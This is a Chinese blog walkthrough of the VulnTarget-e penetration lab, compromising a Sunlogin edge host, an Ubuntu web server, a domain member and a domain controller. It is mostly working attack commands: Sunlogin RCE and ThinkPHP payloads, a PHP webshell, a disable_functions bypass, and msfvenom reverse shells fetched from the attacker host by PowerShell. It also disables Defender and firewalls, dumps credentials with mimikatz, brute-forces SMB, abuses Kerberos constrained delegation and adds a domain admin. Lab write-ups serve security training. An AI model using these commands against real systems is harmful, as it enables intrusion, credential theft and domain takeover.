VulnTarget-e

》》》靶机信息《《《

#攻击机
OS:Kali 2022.2
NIC:192.168.41.130

#向日葵机器
OS:Windows Server 2016
账密1:administrator/win2008
账密2:ash/qweASD123
防火墙开着,WDF开着
NIC1:192.168.41.154
NIC2:192.168.100.155

#Ubuntu
OS:Ubuntu
账密:vulntarget/0!;..123vuln
设置了防火墙规则
网站配置文件内设置了IP,所以IP需要固定
NIC:192.168.100.131
NIC:192.168.88.100


#域内主机
OS:Windows Server 2008R2
本地username:administrator
本地password:admin@123
域内username:win2008
域内password:qweASD123
数据库管理员
账号:sa
密码 :qweASD123
数据库普通用户权限
账号:test
密码:123.com
NIC1:192.168.88.102
NIC2:10.0.10.9

#域控主机
服务账户--》约束性委派
username:wins2016
password:qweASD123
Dusername:vulntarget\administrator
Dpassword:8A..;123admin
NIC1:10.0.10.10

一:边界主机

1.1:漏洞探测

步骤一:使用Nmap扫描目标主机确定开放的端口与对应的服务 以下端口开放

#Nmap扫描
nmap -sC -sV -p 0-65535 -n -vv --min-rate=2000 192.168.41.154

步骤二:访问其49671端口返回如上内容,可使用observer_ward工具识别其指纹获取到 sunlogin 信息

#程序下载
https://github.com/0x727/ObserverWard/releases/download/v2022.3.15/observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gz



#指纹库升级
./observer_ward -u

#指纹探测
./observer_ward -t http://192.168.41.154:49671/

步骤三:利用向日葵RCE工具进行漏洞利用

#漏洞检测利用
https://github.com/j2ekim/sunlogin_rce/releases/tag/v1.1

#执行命令
./xrkRce -h 192.168.41.154 -t rce -p 49671 -c "whoami"   确认其具有漏洞 可以利用此进行反弹shell

步骤四:在交互式接口中执行以下命令开始进行信息收集.....

hostname 
tasklist /svc 
ipconfig /all 
pwd 
dir C:\Users\  
net user
netsh advfirewall show allprofile state  --》防火墙开启
netsh advfirewall set allprofiles state off --》关闭防火墙

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow   修改防火墙允许3389端口通过
1.2:上线MSF

步骤五:在kali上生成MSF后门并开启监听,通过PowerShell方式下载后门到目标主机上运行

#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.41.130 lport=9696 -f exe -o aa.exe

#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.41.130
set lport 9696
run

#Poewrshell下载

powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.41.130:8081/sakura.exe','C:\Users\Administrator\sakura.exe')

下载的时候注意每次下载修改名称


# 这里在使用PowerShell进行文件下载的时候会发现有下载记录但是下载的文件被defender杀掉,这里有两种处理的方式:1.程序免杀  2.关闭defender的实时保护

powershell set-MpPreference -DisableRealtimeMonitoring $true  //关闭defender实时保护
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\"    //PowerShell策略绕过

#执行上线...
cd C:\Users\Administrator;dir
start C:\Users\Administrator\sakura.exe

步骤六:执行以下命令进行权限维持 并添加去往192.168.100.0/24网段的路由

ps    //查看进程
migrate pid  //迁移进程
cd C:\\Users\\Administrator\\Desktop  //存在需要测试的地址.txt
download 需要测试的地址.txt /root/桌面/test  //下载文件
chcp 65001   编码
#抓取密码

load kiwi
kiwi_cmd lsadump::sam
Administrator:388f586516a4cba963b4181363b44034   //解密:win2008
ash:96783bb69c00614e88f7d4688623c83a             //解密:qweASD123

#添加路由
use post/multi/manage/autoroute
set session 1
run

步骤八:开启RDP并远程登陆

#开启远程
run post/windows/manage/enable_rdp

#远程连接
mstsc

二:内网Ubuntu

2.0:一级代理

步骤一:进行信息收集

查看盘内内容  发现需要测试的地址
查看浏览器缓存 发现访问地址
http://192.168.100.131/vulntarget/public
http://192.168.100.131/vulntarget/public/index.php
http://192.168.100.131/

arp -a 查看缓存  发现内网地址192.168.100.131

步骤二:使用以下命令上传frp程序并做好Socks5代理并使用proxychains进行测试...

frps
服务端设置在kali
[common]
bind_port = 7000

frpc
客户端设置在外网

[common]
server_addr = 192.168.41.130  服务端地址
server_port = 7000

[plugin_socks]
type = tcp  
remote_port = 7777    socks5的代理端口
plugin = socks5

#配置代理
vi /etc/proxychains4.conf
socks5 192.168.41.130 7777

#测试代理
proxychains curl http://192.168.100.131/vulntarget/public/index.php

步骤二:这里将Nmap扫描流量带入到内网并直扫131主机的开放端口...试想在有流量检测拦截设备的内网中该怎样突破?平常扫描攻击肯定是动静大且容易被捕获.....

#执行命令
proxychains nmap -Pn -T4 -sT -p- 192.168.100.131
#开放端口
22/80/8888
2.1:Host碰撞

步骤三:访问信息收集得到的地址发现为400 猜测host碰撞

步骤四:下载以下项目并将获取的域名放到host.txt并将IP地址放到ip.txt中执行以下程序进行HOST碰撞

#项目地址
https://github.com/fofapro/Hosts_scan

#执行命令
proxychains python3 IP_hosts_scan_multithreading.py

#执行结果
192.168.100.131 --》 http://www.cJO6w10YLS.com

步骤五:在火狐浏览器上安装 Modheader 插件修改host头信息并再次访问其80端口如下页面

#修改字段
Host  --》 www.cJO6w10YLS.com

步骤六:尝试POC执行命令均被禁用拦截

​

http://192.168.100.131/vulntarget/public/index.php?s=1  

#POC
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami   //system函数被禁用
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=sassert&vars[1][]=phpinfo()   //被BTWAF拦截

​

2.2:GetShell

步骤七:尝试使用file_put_contents函数写文件成功 直接GetShell...

#file_put_contents写文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?> //无权限

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../123.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?>

#GetShell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../url.php&vars[1][1]=<?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?>

#WebShell
http://192.168.100.131/url.php

步骤八:使用蚁剑连接配置代理并编写编码规则且加入Host信息测试连接

#编码配置
AntSword-->编码设置-->编码管理-->新建编码器-->PHP-->在创建编码器命名为url-->点击编辑-->将以下代码贴入替换并保存!


#编码内容
'use strict';

  // ##########    请在下方编写你自己的代码   ###################
function forceEncode(s) {
  return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
  const payload = data['_']
  data[pwd] = forceEncode(forceEncode(payload));
  delete data['_'];
  console.log(data);
  return data;
}

2.3:绕过disable_function

步骤九:在命令终端中无法执行命令..这里尝试使用 php7-gc-bypass 绕过执行系统命令...

#项目地址
https://github.com/devil8123665/exploits/blob/master/php7-gc-bypass/exploit.php
在蚁剑中创建by.php并将以上项目文件的项目代码保存在浏览器访问...

#访问地址
http://192.168.100.131/by.php

步骤十:翻找/home目录时发现私钥文件..key下载到Kali发现可以连接Ubuntu主机

#私钥文件
/home/vulntarget/key

#连接命令
proxychains ssh -i key 192.168.100.131

步骤十一:执行以下命令进行信息收集..发现其内部还存在192.168.88.0/24网段

id  --》
whoami --》root
ping www.baidu.com  --》不出网
ifconfig  --》 192.168.100.0/24  192.168.88.100/24 
arp -a    --》 192.168.88.102主机信息
ufw disable --》关闭防火墙
iptables -L --》查看防火墙规则


发现防火墙中存在指定端口访问的策略
iptables -A INPUT -j ACCEPT
iptables -A OUTPUT -j ACCEPT
2.4:上线MSF

步骤十二:生成MSF反向马并上传至边界主机

#生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > bindtcp.elf


msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.100.131
set lport 4444
run


#scp传递执行
proxychains scp -r -i key bindtcp.elf root@192.168.100.131:/www/wwwroot/vulntarget-e2/bindtcp.elf


python3 -c 'import pty;pty.spawn("/bin/bash")'  调用窗口

#添加路由
use post/multi/manage/autoroute
set session 2
run

三:域内主机Wins08R2

3.1:二级代理

步骤一: 搭建二层代理

frps
服务端设置在外网
[common]
bind_port = 7001

frpc
客户端设置在ubuntu

[common]
server_addr = 192.168.100.155   服务端地址
server_port = 7001

[plugin_socks]
type = tcp  
remote_port = 8888    socks5的代理端口
plugin = socks5

步骤二:这里挂代理开始扫描在ubuntu机器中收集到的102主机发现开放135和445端口!

proxychains nmap -Pn -sT -p1-65535 192.168.88.102

步骤三:尝试使用hydra对其SMB协议进行爆破

proxychains hydra -l administrator -P password.txt 192.168.88.102 smb

3.2:内网横向

步骤四:根据以上爆破的结果使用Impacket中提供的wmiexec.py工具远程连接其命令执行环境获取交互式接口..

proxychains python3 wmiexec.py administrator@192.168.88.102
chcp 65001

步骤五:执行以下命令进行信息收集并开启关闭相对应的功能...

whoami    
hostname  
ipconfig /all     //域:vulntarget.com  192.168.88.102/24  10.0.10.9/24
arp -a    //10.0.10.10 
netsh advfirewall set allprofiles state off    //关闭防火墙
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f      //开启3389端口

步骤六:在MSF上开启代理在外界windows主机上使用SocksCap64挂上代理访问远程桌面

#开启代理
use auxiliary/server/socks_proxy   
show options   
run

#主机信息
ip address:192.168.88.102
username:administrator
password:admin@123

3.3:上线MSF

步骤七:使用一下命令生成反向马并监听反弹,直接远程桌面复制过去上线成功...

生成正向马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe > bindtcp3.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.88.102
set lport 6666
run

四:域控主机Wins16

4.1:信息收集

步骤一:开始进行信息收集,上传猕猴桃到Wins08执行抓取到域用户明文密码...

#MSF添加路由
use post/multi/manage/autoroute
set session 3
run


ping vulntarget.com   //10.0.10.10

#定位域控
meterpreter > run post/windows/gather/enum_domain


#先在win2008以下面的账户密码登陆一下  不然无法抓取密码

#MSF抓取密码
load kiwi
kiwi_cmd sekurlsa::logonpasswords

#Mimikatz
privilege::debug  //提升权限
sekurlsa::logonpasswords  //抓取明文密码
Domain user:win2008
Domain user password:qweASD123

步骤二:上传Adfind程序判断是否存在非与约束性委派属性,发现第三台主机上的win2008域账户对第四台主机10.0.10.10的CIFS服务存在约束委派...

#查询域中配置非约束委派的主机
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#查询域中配置非约束委派的服务账户
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#茶渣
AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123  -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

4.2:约束性委派攻击

步骤三:上传kekeo并用请求win2008的TGT接着伪造S4U请求,以administrator用户权限访问受委派的CIFS服务。

#请求约束性委派用户的TGT
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
#伪造S4U请求并访问CIFS服务
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

步骤四:利用mimikatz导入S4U2proxy阶段生成的ST并访问域控10.0.10.10主机(注意:导入一次ST执行一次命令)

#导入ST
privilege::debug
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
exit

#执行命令
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$

步骤五:执行以下命令创建域用户并将其添加到域管理员中,查看用户信息

net user sakura 123admiN@ /add /domain
net group "domain admins" sakura /add /domain

​

4.2:三级代理

步骤六:这里为了访问到内网域控主机需要挂三级代理 并按照以下操作设置

frps
服务端设置在ubuntn
[common]
bind_port = 7002

frpc
客户端设置在win2008
[common]
server_addr = 192.168.88.100  服务端地址
server_port = 7001

[plugin_socks]
type = tcp  
remote_port = 8888    socks5的代理端口
plugin = socks5
4.3:横向移动

步骤七:使用Impacket 中提供的wmiexec.py工具远程执行,成功上线第四台主机!!!

proxychains python3 wmiexec.py sakura:123admiN@@10.0.10.10

步骤八:生成反向马并上传Wins08R2

#生成正向马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1111 -f exe > zx.exe

#开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.10.10
set lport 1111
run


#上传
lput /root/桌面/test/zx.exe c:\
#执行
zx.exe

步骤九:至此结束

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值